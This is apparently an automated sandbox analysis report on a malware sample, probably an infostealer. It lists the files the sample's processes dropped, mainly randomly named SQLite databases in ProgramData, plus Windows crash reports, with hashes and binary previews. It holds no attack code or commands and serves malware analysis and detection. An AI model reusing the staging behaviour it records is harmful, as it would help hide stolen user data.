Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\GDHIIIIEHCFIECAKFHJD

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIIIDAKK

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HJDGCGDBGCAAEBFIECGHDGCAAE

Download File

Process:	C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IJKJDAFHJDHIEBGCFIDBKKFCBA

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJKEHCAKFBFHJKEHCFI

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KECBFBAE

Download File

Process:	C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073640838737395
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrz:KooCEYhgYEL0In
MD5:	9FA9538EBC475D89E5FBA47D21BB6F13
SHA1:	DC53674915FA4A2CD55B79D0F22A47CEB0047D0B
SHA-256:	D7BDBA5A258A23328A7CDC61A209FDB46C58D27D2D47502C1EB10E289BE1A424
SHA-512:	56E294D1C7572A3BECF8701BC2CEF9520BA1523DD6EEA6738406B7404E74FC967DA0F8960AD67CE65E146FFD5CDFA6F4782EC5EF84174F1072D6D99FC3B6B7FC
Malicious:	false
Reputation:	unknown
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x21affdae, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.4221643665698505
Encrypted:	false
SSDEEP:	1536:BSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:Baza/vMUM2Uvz7DO
MD5:	AA9DB7562A57157312805C4964956F92
SHA1:	DF8B1E39CF1460BE322165030916D6436AD5A2EE
SHA-256:	5E9E0E64FF56EF7C33020EB779FB9D899464835CDFD71023DA0C3EC37F797AFC
SHA-512:	9B0532E47FC66AE278785D63DC5A0F81076846613119EEC47B3DB6C5FE25AAE688181548204EFE8CE4A9E28E1DA061B54DB14611EC6B676C70924C914F1E2AF0
Malicious:	false
Reputation:	unknown
Preview:	!...... .......A.......X\...;...{......................0.!..........{A. ....\|..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................P.. ....\|...................(_g ....\|...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07694399369746519
Encrypted:	false
SSDEEP:	3:j7tKYeyxim0Ajjn13a/SpOjQi9/illcVO/lnlZMxZNQl:lKzI0Aj53qSpOEhOewk
MD5:	BCC0AF6E5BEB2BE63E5CB4A5A97FE066
SHA1:	35C9EC39D75F88A2404003EE03656C7175667CA5
SHA-256:	93D421B15B85010D6F2B06B94BEB4F5F6FD9CF6683DC14ABD0F000D82334C3A5
SHA-512:	019612579FFA1E25BF624A344A97A253AE24AC04E8000637DC1C6493B9555853EE590AD49B31E449AECFDA0CBC4D44EB6A205AF86F35FDB3EFDC494E7425A568
Malicious:	false
Reputation:	unknown
Preview:	.k.e.....................................;...{.. ....\|.......{A..............{A......{A..........{A].................(_g ....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_8LEi0YA5qqlYpHd7_f94c499b57e91d3582facb436aa323a8b871b46_1278b98d_a70bfa2d-27da-4935-b504-5a5224f60ae6\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8910710893990839
Encrypted:	false
SSDEEP:	96:MKFNFCHVTwMldvxKb3UQXIDcQvc6QcEVcw3cE/Np7+BHUHZ0ownOgHkEwH3dEFYd:33FC9s0BU/qaGgzuiFgZ24IO8D
MD5:	F4A5BCFC15CED61263772DCEF824E346
SHA1:	B1D71A0CD59B86AAC45F3AEADAFE039872AB03D8
SHA-256:	4729A4EB4A80F7A05DA12521BB3B19B58F4ABCE47B0A40CEE407A1A5FD45C402
SHA-512:	EB0DA972DAAB5995707D98CE1FD8F0C98F2477641127634D6C6F5A0EC1429489FC019D8D1AA3611F5AD524B75899037E8507C78E6F3BC1C1A5853A6E0B0F11C3
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.0.0.7.7.0.4.9.4.0.7.9.3.1.8.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.0.0.7.7.0.5.3.5.0.9.8.0.3.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.7.0.b.f.a.2.d.-.2.7.d.a.-.4.9.3.5.-.b.5.0.4.-.5.a.5.2.2.4.f.6.0.a.e.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.9.9.2.e.9.8.5.1.-.f.c.f.3.-.4.1.5.2.-.9.e.3.6.-.6.b.0.9.3.2.f.9.4.d.6.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.8.L.E.i.0.Y.A.5.q.q.l.Y.p.H.d.7.z.i.m.C.U.8.l.z...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.6.0.-.0.0.0.1.-.0.0.1.4.-.f.e.c.d.-.6.5.6.f.2.4.0.0.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.c.4.d.1.f.8.a.e.2.8.c.3.0.d.3.1.b.8.f.b.4.d.c.3.2.c.4.a.8.0.0.2.0.0.0.0.f.f.f.f.!.0.0.0.0.8.3.8.f.3.a.4.d.4.2.6.e.a.7.2.c.2.f.5.c.f.8.1.6.4.f.8.f.f.4.f.c.9.e.6.9.4.a.1.b.!.8.L.E.i.0.Y.A.5.q.q.l.Y.

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_yh8OwfLgsaGOEy8s_7c7751c8bf03fc010969a63692d22f07edd721_dafb36ed_cc0c21d2-855a-41f3-8ee6-cd3172c5c71a\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8831408647743125
Encrypted:	false
SSDEEP:	96:jUqFDLfsvEBqoHfI/6MldvxKb3UQXIDcQvc6QcEVcw3cE/NiJib+BHUHZopAnQHP:j/udoms0BU/6a6DzuiFgZ24IO8D
MD5:	C59FEC87205F9D267F1CDB4A076A31ED
SHA1:	1C00841818E2102F84719D16403BB47C3ACB63D2
SHA-256:	5BDECF00C1BF5E108A0CFE732E54934B8A8747AC23234FD28CC69B27E146579D
SHA-512:	A6B7D37388AB60BEB27A6D199E358445EFE46A6991EF7D16C9D594070618AE5165E47ADC584DCC217E260DA45E1C3258E911778B47F4B984A825D0C902CCC26D
Malicious:	false
Reputation:	unknown
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.C.L.R.2.0.r.3.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.0.0.7.7.0.5.0.3.6.4.1.5.8.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.0.0.7.7.0.5.6.3.6.5.4.8.6.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.c.0.c.2.1.d.2.-.8.5.5.a.-.4.1.f.3.-.8.e.e.6.-.c.d.3.1.7.2.c.5.c.7.1.a.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.4.e.a.1.1.b.6.-.9.7.9.6.-.4.4.a.b.-.9.0.a.6.-.a.f.4.0.1.a.d.c.3.a.a.f.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.y.h.8.O.w.f.L.g.s.a.G.O.E.y.8.s.L.U.5.U.p.J.I.K...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.f.5.8.-.0.0.0.1.-.0.0.1.4.-.3.9.b.7.-.6.5.6.f.2.4.0.0.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.b.c.c.9.3.5.0.0.2.8.f.9.b.a.b.b.9.f.d.3.6.c.1.d.4.d.a.1.d.4.6.6.0.0.0.0.0.0.0.0.!.0.0.0.0.2.5.5.9.4.4.d.c.0.d.2.4.d.2.2.d.f.a.3.6.6.1.3.c.2.b.6.8.a.a.8.1.0.7.0.a.f.1.c.5.!.y.h.8.O.w.f.L.g.s.a.G.O.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6EBA.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	92794
Entropy (8bit):	3.049838587983317
Encrypted:	false
SSDEEP:	1536:WwFDjKZxtBgaAHsYIYGTW85+7LLK83LKT676ziz2mREi51Ga:WwFDjKZxtBgaAHsYIYGTW85+7LLK83LZ
MD5:	F13C55053B0A517097A85636189A90C5
SHA1:	149F4AF9695D52BF8EBEE69A01CA02A0A5139E4C
SHA-256:	FFF88AEE4F303A182254A3CB10E67A84798149EF779863D1BF19D226EC167402
SHA-512:	08AD2974E38350A2AC5944CE8EB4FA6549DEFA42AA4FCC2F453B049B20D7DEAF5CFF9EB8456E4DA701C5172C53F06A73054F73E17D5B3EA7A6A0BA56C8017855
Malicious:	false
Reputation:	unknown
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6FA6.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.697317454958069
Encrypted:	false
SSDEEP:	96:TiZYWG5z+/YMYoWTXyHSYEZOXtHiMIx54wWFUakojMF0/IPy/:2ZDTb/7eakojMF0QPy/
MD5:	F013C4333D8FDDF8EF3A6EBE493DBA87
SHA1:	8E079E7721ECF3B0704AFBF9D2B731C8FE210C3D
SHA-256:	B2A044FDDF055A99FB32411D98B5D57B6C668A5DBCA03F5EDB62E3CAF48E2F17
SHA-512:	B56492F7530D5A028AAD4A331F2FDD996CBFF0F9B3A74316FE22E5F883F6DFADB30D3E6E26994824E78542A5D682A4D9DF3F8A965B3BF330173CB006C5CAECAD
Malicious:	false
Reputation:	unknown
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\ProgramData\Microsoft\Windows\WER\Temp\WER72FF.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Sep 6 06:17:30 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	189960
Entropy (8bit):	4.075941063762191
Encrypted:	false
SSDEEP:	3072:ID7n/4uEqtNTSyHjLTgfVNExjjqHsOEWL1E:IX/42NTSy3TgtY+LEWL
MD5:	B1761BE0CE7A971865F7B1F827601364
SHA1:	40CA3A98A4A9452AD9686541A104CA447BD945A7
SHA-256:	23E117814844205292D4957229B4FE0097D4AE2597E61FE3F994768A9B8E36A2
SHA-512:	4ADC9DFF6B8C4368D3FABD206F409E1A8A37C098F19C6DC6A0759E1CF1EEF4E6C52CEAF94DF4999C0D8A32E0FDE6A8743AC68519E8D076CDDC91186DC1AF8E1A
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... .......z..f........................\...........$...........4#..67..........`.......8...........T............!..8.......................................................................................................eJ..............GenuineIntel............T.......`...r..f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER762B.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Sep 6 06:17:30 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	174117
Entropy (8bit):	3.8964435028004387
Encrypted:	false
SSDEEP:	1536:SNIjdvED64wpN4uE2aOHELTgjlNQNhyx1huVho/RB8xCD3uyBWSJl:SNwf4m4uEqkLTgjlKNExGul+yBNJ
MD5:	2095ADC61E8F8297D430EBCDF1A99812
SHA1:	DA62D0FB13190BA8799ED780AEC9CF15E53E7B85
SHA-256:	9218B4A83093FE96B5A94AEF3733A718FEEC9FC2B0A14FF6F156BCF6EC8E3206
SHA-512:	6014461DC1BB63C4C97AD28011CFFDB2DA4A78282238E22E8216EF0E4664076E59B229FB3AFF23C0E0226EF079BF11C197320511B4E2C9A5C58BFFFABF53BDC7
Malicious:	false
Reputation:	unknown
Preview:	MDMP..a..... .......z..f....................................$............!...6..........`.......8...........T............ ..m.......................................................................................................eJ......0.......GenuineIntel............T.......X...r..f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER767A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	6442
Entropy (8bit):	3.7262293483153788
Encrypted:	false
SSDEEP:	96:RSIU6o7wVetb1F6mBYZ3VqQE/qCo65aM4Ux89bKvsf0IOm:R6l7wVeJ1F6wYZMbprx89bKvsf0IOm
MD5:	B62AD5EAF316D31B73B7F41C44F768A9
SHA1:	A11C81D749E97A175F02A1339100D5C8D5A05C77
SHA-256:	821A44C25F48902668374B0874707C2A9C3419F39EAE31D73EB62583C5C9E07B
SHA-512:	EFBA71E66B321158E07B7778D3225188194885734524AA2F4089304B0300D276EB3244B142DED67F4F1E91004181CAEBB9B7F309B02C99FEF6B9BF2C1B980049
Malicious:	false
Reputation:	unknown
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.8.0.3.2.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER76D9.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4779
Entropy (8bit):	4.532585570370831
Encrypted:	false
SSDEEP:	48:cvIwWl8zsOJg77aI93eLFWpW8VYxYm8M4JVFB2FT+q8vYFBd8zXed:uIjfEI74I7VBJaK0IXed
MD5:	073B4E5A27BF13ECCD8A0AD6737659F8
SHA1:	F5191BAE2DE665E147D0D1D923E1D6F604E1E5E2
SHA-256:	435AF6B08AFDCFE36478F4AB1E9751913CDEBFC8FECC6AF58976BC6C08E4A135
SHA-512:	E1638C670C4D1B68AFAC55DEB7AFF53EA3940849D38B73825FA2C27541A1B1E6E3249A58DEF9E51B46ABBF3CD32A922E9CCF7405FF657540B14462123490EEC3
Malicious:	false
Reputation:	unknown
